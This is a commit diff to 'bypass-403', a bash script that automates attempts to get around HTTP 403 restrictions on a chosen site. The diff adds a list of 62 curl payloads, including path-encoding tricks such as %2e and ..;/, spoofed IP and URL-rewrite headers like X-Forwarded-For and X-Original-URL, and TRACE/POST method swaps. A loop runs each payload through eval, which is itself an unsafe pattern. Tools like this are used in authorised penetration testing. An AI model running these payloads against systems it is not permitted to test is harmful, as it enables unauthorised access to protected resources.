Code refactored and payloads added

README.md

@@ -9,7 +9,7 @@
 `./bypass-403.sh website-here path-here`
 
 # Features
-- Use 24 known Bypasses for 403 with the help of curl
+- Use 62 known Bypasses for 403 with the help of curl
 
 # Installation
    * `git clone https://github.com/iamj0ker/bypass-403`

bypass-403.sh

@@ -1,59 +1,82 @@
-#! /bin/bash
+#!/bin/bash
+# Refactored and payloads added by Nicholas Ferreira (github.com/Nickguitar)
 figlet Bypass-403
 echo "                                               By Iam_J0ker"
 echo "./bypass-403.sh https://example.com path"
 echo " "
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2
-echo "  --> ${1}/${2}"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/%2e/$2
-echo "  --> ${1}/%2e/${2}"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/.
-echo "  --> ${1}/${2}/."
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1//$2//
-echo "  --> ${1}//${2}//"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/./$2/./
-echo "  --> ${1}/./${2}/./"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Original-URL: $2" $1/$2
-echo "  --> ${1}/${2} -H X-Original-URL: ${2}"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Custom-IP-Authorization: 127.0.0.1" $1/$2
-echo "  --> ${1}/${2} -H X-Custom-IP-Authorization: 127.0.0.1"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-For: http://127.0.0.1" $1/$2
-echo "  --> ${1}/${2} -H X-Forwarded-For: http://127.0.0.1"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Forwarded-For: 127.0.0.1:80" $1/$2
-echo "  --> ${1}/${2} -H X-Forwarded-For: 127.0.0.1:80"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-rewrite-url: $2" $1
-echo "  --> ${1} -H X-rewrite-url: ${2}"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2%20
-echo "  --> ${1}/${2}%20"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2%09
-echo "  --> ${1}/${2}%09"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2?
-echo "  --> ${1}/${2}?"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2.html
-echo "  --> ${1}/${2}.html"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/?anything
-echo "  --> ${1}/${2}/?anything"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2#
-echo "  --> ${1}/${2}#"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "Content-Length:0" -X POST $1/$2
-echo "  --> ${1}/${2} -H Content-Length:0 -X POST"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2/*
-echo "  --> ${1}/${2}/*"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2.php
-echo "  --> ${1}/${2}.php"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" $1/$2.json
-echo "  --> ${1}/${2}.json"
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -X TRACE $1/$2
-echo "  --> ${1}/${2}  -X TRACE"
-curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -H "X-Host: 127.0.0.1" $1/$2
-echo "  --> ${1}/${2} -H X-Host: 127.0.0.1"
-curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" "$1/$2..;/"
-echo "  --> ${1}/${2}..;/"
-curl -s -o /dev/null -iL -w "%{http_code}","%{size_download}" " $1/$2;/"
-echo "  --> ${1}/${2};/"
-#updated
-curl -k -s -o /dev/null -iL -w "%{http_code}","%{size_download}" -X TRACE $1/$2
-echo "  --> ${1}/${2} -X TRACE"
+
+read -r -d '' paths <<EOF
+$1/$2
+$1/%2e/$2
+$1/$2/.
+$1//$2//
+$1/./$2/./
+$1/$2%20
+$1/$2%09
+$1/$2?
+$1/$2.html
+$1/$2/?anything
+$1/$2#
+$1/$2/*
+$1/$2.php
+$1/$2.json
+"$1/$2..;/"
+" $1/$2;/"
+-X TRACE $1/$2
+-H "Base-Url: 127.0.0.1" $1/$2
+-H "Client-IP: 127.0.0.1" $1/$2
+-H "Content-Length:0" -X POST $1/$2
+-H "Http-Url: 127.0.0.1" $1/$2
+-H "Proxy-Host: 127.0.0.1" $1/$2
+-H "Proxy-Url: 127.0.0.1" $1/$2
+-H "Real-Ip: 127.0.0.1" $1/$2
+-H "Redirect: 127.0.0.1" $1/$2
+-H "Referer: 127.0.0.1" $1/$2
+-H "Referrer: 127.0.0.1" $1/$2
+-H "Request-Uri: 127.0.0.1" $1/$2
+-H "Uri: 127.0.0.1" $1/$2
+-H "Url: 127.0.0.1" $1/$2
+-H "X-Client-IP: 127.0.0.1" $1/$2
+-H "X-Custom-IP-Authorization: 127.0.0.1" $1/$2
+-H "X-Forward-For: 127.0.0.1" $1/$2
+-H "X-Forwarded-By: 127.0.0.1" $1/$2
+-H "X-Forwarded-For-Original: 127.0.0.1" $1/$2
+-H "X-Forwarded-For: 127.0.0.1" $1/$2
+-H "X-Forwarded-For: 127.0.0.1:80" $1/$2
+-H "X-Forwarded-For: http://127.0.0.1" $1/$2
+-H "X-Forwarded-Host: 127.0.0.1" $1/$2
+-H "X-Forwarded-Port: 443" $1/$2
+-H "X-Forwarded-Port: 4443" $1/$2
+-H "X-Forwarded-Port: 80" $1/$2
+-H "X-Forwarded-Port: 8080" $1/$2
+-H "X-Forwarded-Port: 8443" $1/$2
+-H "X-Forwarded-Scheme: http" $1/$2
+-H "X-Forwarded-Scheme: https" $1/$2
+-H "X-Forwarded-Server: 127.0.0.1" $1/$2
+-H "X-Forwarded: 127.0.0.1" $1/$2
+-H "X-Forwarder-For: 127.0.0.1" $1/$2
+-H "X-Host: 127.0.0.1" $1/$2
+-H "X-Http-Destinationurl: 127.0.0.1" $1/$2
+-H "X-Http-Host-Override: 127.0.0.1" $1/$2
+-H "X-Original-Remote-Addr: 127.0.0.1" $1/$2
+-H "X-Original-URL: $2" $1/$2
+-H "X-Original-Url: 127.0.0.1" $1/$2
+-H "X-Originating-IP: 127.0.0.1" $1/$2
+-H "X-Proxy-Url: 127.0.0.1" $1/$2
+-H "X-Real-Ip: 127.0.0.1" $1/$2
+-H "X-Remote-Addr: 127.0.0.1" $1/$2
+-H "X-Remote-IP: 127.0.0.1" $1/$2
+-H "X-Rewrite-Url: 127.0.0.1" $1/$2
+-H "X-True-IP: 127.0.0.1" $1/$2
+-H "X-rewrite-url: $2" $1/$2
+EOF
+
+IFS=$'\n'
+for switch in ${paths[@]};do
+	cmd="curl -k -s -o /dev/null -iL -w \"%{http_code}\",\"%{size_download}\" $switch"
+	eval $cmd
+	echo " $switch"
+done
+
 echo "Way back machine:"
 curl -s  https://archive.org/wayback/available?url=$1/$2 | jq -r '.archived_snapshots.closest | {available, url}'
-